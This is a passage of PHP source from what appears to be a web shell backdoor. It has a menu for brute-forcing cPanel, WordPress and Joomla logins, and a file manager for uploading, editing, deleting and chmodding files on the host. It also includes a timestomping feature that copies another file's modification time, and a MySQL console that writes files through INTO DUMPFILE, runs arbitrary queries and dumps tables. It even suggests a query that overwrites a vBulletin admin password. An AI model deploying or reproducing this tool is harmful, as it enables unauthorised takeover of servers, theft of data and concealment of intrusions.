947 <li><a href="javascript:goaction('brutecpv2');" >Brute Cpanel V2</a></li>
948 <li><a href="javascript:goaction('brutewp');" >Brute Wordpress</a></li>
949 <li><a href="javascript:goaction('brutejl');" >Brute Joomla</a></li>
950 </ul>
951 </li>
952 <li><a href="javascript:goaction('findadmin');"><font color=#52F3FF>Find Admin</font></a></li>
953
954 <div id="lavalamp"></div>
955</ul>
956
957 </td>
958 </tr>
959</table>
960<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
961<?php
962
963formhead(array('name'=>'goaction'));
964makehide('action');
965formfoot();
966
967$errmsg && m($errmsg);
968
969// Dir function
970!$dir && $dir = '.';
971$nowpath = getPath(SA_ROOT, $dir);
972if (substr($dir, -1) != '/') {
973 $dir = $dir.'/';
974}
975$uedir = ue($dir);
976
977if (!$action || $action == 'file') {
978
979 // Non-writeable
980 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
981
982 // Delete dir
983 if ($doing == 'deldir' && $thefile) {
984 if (!file_exists($thefile)) {
985 m($thefile.' directory does not exist');
986 } else {
987 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
988 }
989 }
990
991 // Create new dir
992 elseif ($newdirname) {
993 $mkdirs = $nowpath.$newdirname;
994 if (file_exists($mkdirs)) {
995 m('Directory has already existed');
996 } else {
997 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
998 @chmod($mkdirs,0777);
999 }
1000 }
1001
1002 // Upload file
1003 elseif ($doupfile) {
1004 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
1005 }
1006
1007 // Edit file
1008 elseif ($editfilename && $filecontent) {
1009 $fp = @fopen($editfilename,'w');
1010 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
1011 @fclose($fp);
1012 }
1013
1014 // Modify
1015 elseif ($pfile && $newperm) {
1016 if (!file_exists($pfile)) {
1017 m('The original file does not exist');
1018 } else {
1019 $newperm = base_convert($newperm,8,10);
1020 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
1021 }
1022 }
1023
1024 // Rename
1025 elseif ($oldname && $newfilename) {
1026 $nname = $nowpath.$newfilename;
1027 if (file_exists($nname) || !file_exists($oldname)) {
1028 m($nname.' has already existed or original file does not exist');
1029 } else {
1030 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
1031 }
1032 }
1033
1034 // Copu
1035 elseif ($sname && $tofile) {
1036 if (file_exists($tofile) || !file_exists($sname)) {
1037 m('The goal file has already existed or original file does not exist');
1038 } else {
1039 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
1040 }
1041 }
1042
1043 // File exit
1044 elseif ($curfile && $tarfile) {
1045 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
1046 m('The goal file has already existed or original file does not exist');
1047 } else {
1048 $time = @filemtime($tarfile);
1049 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
1050 }
1051 }
1052
1053 // Date
1054 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
1055 if (!@file_exists($curfile)) {
1056 m(basename($curfile).' does not exist');
1057 } else {
1058 $time = strtotime("$year-$month-$day $hour:$minute:$second");
1059 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
1060 }
1061 }
1062
1063 // Download
1064 elseif($doing == 'downrar') {
1065 if ($dl) {
1066 $dfiles='';
1067 foreach ($dl as $filepath => $value) {
1068 $dfiles.=$filepath.',';
1069 }
1070 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
1071 $dl=explode(',',$dfiles);
1072 $zip=new PHPZip($dl);
1073 $code=$zip->out;
1074 header('Content-type: application/octet-stream');
1075 header('Accept-Ranges: bytes');
1076 header('Accept-Length: '.strlen($code));
1077 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
1078 echo $code;
1079 exit;
1080 } else {
1081 m('Please select file(s)');
1082 }
1083 }
1084
1085 // Delete file
1086 elseif($doing == 'delfiles') {
1087 if ($dl) {
1088 $dfiles='';
1089 $succ = $fail = 0;
1090 foreach ($dl as $filepath => $value) {
1091 if (@unlink($filepath)) {
1092 $succ++;
1093 } else {
1094 $fail++;
1095 }
1096 }
1097 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
1098 } else {
1099 m('Please select file(s)');
1100 }
1101 }
1102
1103 // Function Newdir
1104 formhead(array('name'=>'createdir'));
1105 makehide('newdirname');
1106 makehide('dir',$nowpath);
1107 formfoot();
1108 formhead(array('name'=>'fileperm'));
1109 makehide('newperm');
1110 makehide('pfile');
1111 makehide('dir',$nowpath);
1112 formfoot();
1113 formhead(array('name'=>'copyfile'));
1114 makehide('sname');
1115 makehide('tofile');
1116 makehide('dir',$nowpath);
1117 formfoot();
1118 formhead(array('name'=>'rename'));
1119 makehide('oldname');
1120 makehide('newfilename');
1121 makehide('dir',$nowpath);
1122 formfoot();
1123 formhead(array('name'=>'fileopform'));
1124 makehide('action');
1125 makehide('opfile');
1126 makehide('dir');
1127 formfoot();
1128
1129 $free = @disk_free_space($nowpath);
1130 !$free && $free = 0;
1131 $all = @disk_total_space($nowpath);
1132 !$all && $all = 0;
1133 $used = $all-$free;
1134 $used_percent = @round(100/($all/$free),2);
1135 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
1136
1137?>
1138<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
1139 <form action="" method="post" id="godir" name="godir">
1140 <tr>
1141 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
1142 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
1143 <td nowrap><input class="bt" value="GO" type="submit"></td>
1144 </tr>
1145 </form>
1146</table>
1147<script type="text/javascript">
1148function createdir(){
1149 var newdirname;
1150 newdirname = prompt('Please input the directory name:', '');
1151 if (!newdirname) return;
1152 $('createdir').newdirname.value=newdirname;
1153 $('createdir').submit();
1154}
1155function fileperm(pfile){
1156 var newperm;
1157 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
1158 if (!newperm) return;
1159 $('fileperm').newperm.value=newperm;
1160 $('fileperm').pfile.value=pfile;
1161 $('fileperm').submit();
1162}
1163function copyfile(sname){
1164 var tofile;
1165 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
1166 if (!tofile) return;
1167 $('copyfile').tofile.value=tofile;
1168 $('copyfile').sname.value=sname;
1169 $('copyfile').submit();
1170}
1171function rename(oldname){
1172 var newfilename;
1173 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
1174 if (!newfilename) return;
1175 $('rename').newfilename.value=newfilename;
1176 $('rename').oldname.value=oldname;
1177 $('rename').submit();
1178}
1179function dofile(doing,thefile,m){
1180 if (m && !confirm(m)) {
1181 return;
1182 }
1183 $('filelist').doing.value=doing;
1184 if (thefile){
1185 $('filelist').thefile.value=thefile;
1186 }
1187 $('filelist').submit();
1188}
1189function createfile(nowpath){
1190 var filename;
1191 filename = prompt('Please input the file name:', '');
1192 if (!filename) return;
1193 opfile('editfile',nowpath + filename,nowpath);
1194}
1195function opfile(action,opfile,dir){
1196 $('fileopform').action.value=action;
1197 $('fileopform').opfile.value=opfile;
1198 $('fileopform').dir.value=dir;
1199 $('fileopform').submit();
1200}
1201function godir(dir,view_writable){
1202 if (view_writable) {
1203 $('godir').view_writable.value=1;
1204 }
1205 $('godir').dir.value=dir;
1206 $('godir').submit();
1207}
1208</script>
1209 <?php
1210 tbhead();
1211 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
1212 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
1213 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
1214 if ($view_writable) {
1215 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
1216 } else {
1217 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
1218 }
1219 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
1220 if (IS_WIN && IS_COM) {
1221 $obj = new COM('scripting.filesystemobject');
1222 if ($obj && is_object($obj)) {
1223 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
1224 foreach($obj->Drives as $drive) {
1225 if ($drive->DriveType == 2) {
1226 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1227 } else {
1228 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1229 }
1230 }
1231 }
1232 }
1233
1234 p('</td></tr></form>');
1235
1236 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
1237
1238 // Get path
1239 $dirdata=array();
1240 $filedata=array();
1241
1242 if ($view_writable) {
1243 $dirdata = GetList($nowpath);
1244 } else {
1245 // Open dir
1246 $dirs=@opendir($dir);
1247 while ($file=@readdir($dirs)) {
1248 $filepath=$nowpath.$file;
1249 if(@is_dir($filepath)){
1250 $dirdb['filename']=$file;
1251 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1252 $dirdb['dirchmod']=getChmod($filepath);
1253 $dirdb['dirperm']=getPerms($filepath);
1254 $dirdb['fileowner']=getUser($filepath);
1255 $dirdb['dirlink']=$nowpath;
1256 $dirdb['server_link']=$filepath;
1257 $dirdb['client_link']=ue($filepath);
1258 $dirdata[]=$dirdb;
1259 } else {
1260 $filedb['filename']=$file;
1261 $filedb['size']=sizecount(@filesize($filepath));
1262 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1263 $filedb['filechmod']=getChmod($filepath);
1264 $filedb['fileperm']=getPerms($filepath);
1265 $filedb['fileowner']=getUser($filepath);
1266 $filedb['dirlink']=$nowpath;
1267 $filedb['server_link']=$filepath;
1268 $filedb['client_link']=ue($filepath);
1269 $filedata[]=$filedb;
1270 }
1271 }// while
1272 unset($dirdb);
1273 unset($filedb);
1274 @closedir($dirs);
1275 }
1276 @sort($dirdata);
1277 @sort($filedata);
1278 $dir_i = '0';
1279 foreach($dirdata as $key => $dirdb){
1280 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
1281 $thisbg = bg();
1282 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1283 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
1284 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
1285 p('<td nowrap>'.$dirdb['mtime'].'</td>');
1286 p('<td nowrap>--</td>');
1287 p('<td nowrap>');
1288 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
1289 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
1290 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
1291 p('</tr>');
1292 $dir_i++;
1293 } else {
1294 if($dirdb['filename']=='..') {
1295 p('<tr class=fout>');
1296 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
1297 p('</tr>');
1298 }
1299 }
1300 }
1301
1302 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
1303 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
1304 makehide('action','file');
1305 makehide('thefile');
1306 makehide('doing');
1307 makehide('dir',$nowpath);
1308 $file_i = '0';
1309 foreach($filedata as $key => $filedb){
1310 if($filedb['filename']!='..' && $filedb['filename']!='.') {
1311 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
1312 $thisbg = bg();
1313 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1314 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
1315 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
1316 p('<td nowrap>'.$filedb['mtime'].'</td>');
1317 p('<td nowrap>'.$filedb['size'].'</td>');
1318 p('<td nowrap>');
1319 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
1320 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
1321 p('<td nowrap>');
1322 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
1323 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
1324 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
1325 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
1326 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
1327 p('</td></tr>');
1328 $file_i++;
1329 }
1330 }
1331 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
1332 p('</form></table>');
1333}// end dir
1334
1335elseif ($action == 'sqlfile') {
1336 if($doing=="mysqlupload"){
1337 $file = $_FILES['uploadfile'];
1338 $filename = $file['tmp_name'];
1339 if (file_exists($savepath)) {
1340 m('The goal file has already existed');
1341 } else {
1342 if(!$filename) {
1343 m('Please choose a file');
1344 } else {
1345 $fp=@fopen($filename,'r');
1346 $contents=@fread($fp, filesize($filename));
1347 @fclose($fp);
1348 $contents = bin2hex($contents);
1349 if(!$upname) $upname = $file['name'];
1350 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1351 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
1352 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
1353 }
1354 }
1355 }
1356?>
1357<script type="text/javascript">
1358function mysqlfile(doing){
1359 if(!doing) return;
1360 $('doing').value=doing;
1361 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
1362 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
1363 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
1364 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
1365 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
1366 $('mysqlfile').charset.value=$('dbinfo').charset.value;
1367 $('mysqlfile').submit();
1368}
1369</script>
1370<?php
1371 !$dbhost && $dbhost = 'localhost';
1372 !$dbuser && $dbuser = 'root';
1373 !$dbport && $dbport = '3306';
1374 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
1375 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
1376 makehide('action','sqlfile');
1377 p('<p>');
1378 p('DBHost:');
1379 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1380 p(':');
1381 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1382 p('DBUser:');
1383 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1384 p('DBPass:');
1385 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1386 p('DBName:');
1387 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
1388 p('DBCharset:');
1389 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1390 p('</p>');
1391 formfoot();
1392 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
1393 p('<h2>Upload file</h2>');
1394 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
1395 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
1396 p('<h2>Download file</h2>');
1397 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
1398 makehide('dbhost');
1399 makehide('dbport');
1400 makehide('dbuser');
1401 makehide('dbpass');
1402 makehide('dbname');
1403 makehide('charset');
1404 makehide('doing');
1405 makehide('action','sqlfile');
1406 p('</form>');
1407}
1408
1409elseif ($action == 'sqladmin') {
1410 !$dbhost && $dbhost = 'localhost';
1411 !$dbuser && $dbuser = 'root';
1412 !$dbport && $dbport = '3306';
1413 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
1414 if(isset($dbhost)){
1415 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
1416 }
1417 if(isset($dbuser)) {
1418 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
1419 }
1420 if(isset($dbpass)) {
1421 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
1422 }
1423 if(isset($dbport)) {
1424 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
1425 }
1426 if(isset($dbname)) {
1427 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1428 }
1429 if(isset($charset)) {
1430 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
1431 }
1432
1433 if ($doing == 'backupmysql' && $saveasfile) {
1434 if (!$table) {
1435 m('Please choose the table');
1436 } else {
1437 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1438 $table = array_flip($table);
1439 $fp = @fopen($path,'w');
1440 if ($fp) {
1441 $result = q('SHOW tables');
1442 if (!$result) p('<h2>'.mysql_error().'</h2>');
1443 $mysqldata = '';
1444 while ($currow = mysql_fetch_array($result)) {
1445 if (isset($table[$currow[0]])) {
1446 sqldumptable($currow[0], $fp);
1447 }
1448 }
1449 fclose($fp);
1450 $fileurl = str_replace(SA_ROOT,'',$path);
1451 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
1452 mysql_close();
1453 } else {
1454 m('Backup failed');
1455 }
1456 }
1457 }
1458 if ($insert && $insertsql) {
1459 $keystr = $valstr = $tmp = '';
1460 foreach($insertsql as $key => $val) {
1461 if ($val) {
1462 $keystr .= $tmp.$key;
1463 $valstr .= $tmp."'".addslashes($val)."'";
1464 $tmp = ',';
1465 }
1466 }
1467 if ($keystr && $valstr) {
1468 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1469 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1470 }
1471 }
1472 if ($update && $insertsql && $base64) {
1473 $valstr = $tmp = '';
1474 foreach($insertsql as $key => $val) {
1475 $valstr .= $tmp.$key."='".addslashes($val)."'";
1476 $tmp = ',';
1477 }
1478 if ($valstr) {
1479 $where = base64_decode($base64);
1480 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1481 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
1482 }
1483 }
1484 if ($doing == 'del' && $base64) {
1485 $where = base64_decode($base64);
1486 $delete_sql = "DELETE FROM $tablename WHERE $where";
1487 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1488 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1489 }
1490
1491 if ($tablename && $doing == 'drop') {
1492 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1493 if (q("DROP TABLE $tablename")) {
1494 m('Drop table of success');
1495 $tablename = '';
1496 } else {
1497 m(mysql_error());
1498 }
1499 }
1500
1501 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
1502
1503 formhead(array('title'=>'MYSQL Manager'));
1504 makehide('action','sqladmin');
1505 p('<p>');
1506 p('DBHost:');
1507 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1508 p(':');
1509 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1510 p('DBUser:');
1511 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1512 p('DBPass:');
1513 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1514 p('DBCharset:');
1515 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1516 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1517 p('</p>');
1518 formfoot();
1519?>
1520<script type="text/javascript">
1521function editrecord(action, base64, tablename){
1522 if (action == 'del') {
1523 if (!confirm('Is or isn\'t deletion record?')) return;
1524 }
1525 $('recordlist').doing.value=action;
1526 $('recordlist').base64.value=base64;
1527 $('recordlist').tablename.value=tablename;
1528 $('recordlist').submit();
1529}
1530function moddbname(dbname) {
1531 if(!dbname) return;
1532 $('setdbname').dbname.value=dbname;
1533 $('setdbname').submit();
1534}
1535function settable(tablename,doing,page) {
1536 if(!tablename) return;
1537 if (doing) {
1538 $('settable').doing.value=doing;
1539 }
1540 if (page) {
1541 $('settable').page.value=page;
1542 }
1543 $('settable').tablename.value=tablename;
1544 $('settable').submit();
1545}
1546</script>
1547<?php
1548 // SQL
1549 formhead(array('name'=>'recordlist'));
1550 makehide('doing');
1551 makehide('action','sqladmin');
1552 makehide('base64');
1553 makehide('tablename');
1554 p($dbform);
1555 formfoot();
1556
1557 // Data
1558 formhead(array('name'=>'setdbname'));
1559 makehide('action','sqladmin');
1560 p($dbform);
1561 if (!$dbname) {
1562 makehide('dbname');
1563 }
1564 formfoot();
1565
1566
1567 formhead(array('name'=>'settable'));
1568 makehide('action','sqladmin');
1569 p($dbform);
1570 makehide('tablename');
1571 makehide('page',$page);
1572 makehide('doing');
1573 formfoot();
1574
1575 $cachetables = array();
1576 $pagenum = 30;
1577 $page = intval($page);
1578 if($page) {
1579 $start_limit = ($page - 1) * $pagenum;
1580 } else {
1581 $start_limit = 0;
1582 $page = 1;
1583 }
1584 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1585 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1586 // get mysql server
1587 $mysqlver = mysql_get_server_info();
1588 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
1589 $highver = $mysqlver > '4.1' ? 1 : 0;
1590
1591 // Show database
1592 $query = q("SHOW DATABASES");
1593 $dbs = array();
1594 $dbs[] = '-- Select a database --';
1595 while($db = mysql_fetch_array($query)) {
1596 $dbs[$db['Database']] = $db['Database'];
1597 }
1598 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
1599 $tabledb = array();
1600 if ($dbname) {
1601 p('<p>');
1602 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
1603 if ($tablename) {
1604 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
1605 }
1606 p('</p>');
1607 mysql_select_db($dbname);
1608
1609 $getnumsql = '';
1610 $runquery = 0;
1611 if ($sql_query) {
1612 $runquery = 1;
1613 }
1614 $allowedit = 0;
1615 if ($tablename && !$sql_query) {
1616 $sql_query = "SELECT * FROM $tablename";
1617 $getnumsql = $sql_query;
1618 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
1619 $allowedit = 1;
1620 }
1621 p('<form action="'.$self.'" method="POST">');
1622 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
1623 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1624 makehide('tablename', $tablename);
1625 makehide('action','sqladmin');
1626 p($dbform);
1627 p('</form>');
1628 if ($tablename || ($runquery && $sql_query)) {
1629 if ($doing == 'structure') {
1630 $result = q("SHOW COLUMNS FROM $tablename");
1631 $rowdb = array();
1632 while($row = mysql_fetch_array($result)) {
1633 $rowdb[] = $row;
1634 }
1635 p('<table border="0" cellpadding="3" cellspacing="0">');
1636 p('<tr class="head">');
1637 p('<td>Field</td>');
1638 p('<td>Type</td>');
1639 p('<td>Null</td>');
1640 p('<td>Key</td>');
1641 p('<td>Default</td>');
1642 p('<td>Extra</td>');
1643 p('</tr>');
1644 foreach ($rowdb as $row) {
1645 $thisbg = bg();
1646 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1647 p('<td>'.$row['Field'].'</td>');
1648 p('<td>'.$row['Type'].'</td>');
1649 p('<td>'.$row['Null'].' </td>');
1650 p('<td>'.$row['Key'].' </td>');
1651 p('<td>'.$row['Default'].' </td>');
1652 p('<td>'.$row['Extra'].' </td>');
1653 p('</tr>');
1654 }
1655 tbfoot();
1656 } elseif ($doing == 'insert' || $doing == 'edit') {
1657 $result = q('SHOW COLUMNS FROM '.$tablename);
1658 while ($row = mysql_fetch_array($result)) {
1659 $rowdb[] = $row;
1660 }
1661 $rs = array();
1662 if ($doing == 'insert') {
1663 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1664 } else {
1665 p('<h2>Update record in '.$tablename.' table »</h2>');
1666 $where = base64_decode($base64);
1667 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1668 $rs = mysql_fetch_array($result);
1669 }
1670 p('<form method="post" action="'.$self.'">');
1671 p($dbform);
1672 makehide('action','sqladmin');
1673 makehide('tablename',$tablename);
1674 p('<table border="0" cellpadding="3" cellspacing="0">');
1675 foreach ($rowdb as $row) {
1676 if ($rs[$row['Field']]) {
1677 $value = htmlspecialchars($rs[$row['Field']]);
1678 } else {
1679 $value = '';
1680 }
1681 $thisbg = bg();
1682 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1683 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1684 }
1685 if ($doing == 'insert') {
1686 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1687 } else {
1688 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1689 makehide('base64', $base64);
1690 }
1691 p('</table></form>');
1692 } else {
1693 $querys = @explode(';',$sql_query);
1694 foreach($querys as $num=>$query) {
1695 if ($query) {
1696 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1697 switch(qy($query))
1698 {
1699 case 0:
1700 p('<h2>Error : '.mysql_error().'</h2>');
1701 break;
1702 case 1:
1703 if (strtolower(substr($query,0,13)) == 'select * from') {
1704 $allowedit = 1;
1705 }
1706 if ($getnumsql) {
1707 $tatol = mysql_num_rows(q($getnumsql));
1708 $multipage = multi($tatol, $pagenum, $page, $tablename);
1709 }
1710 if (!$tablename) {
1711 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1712 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
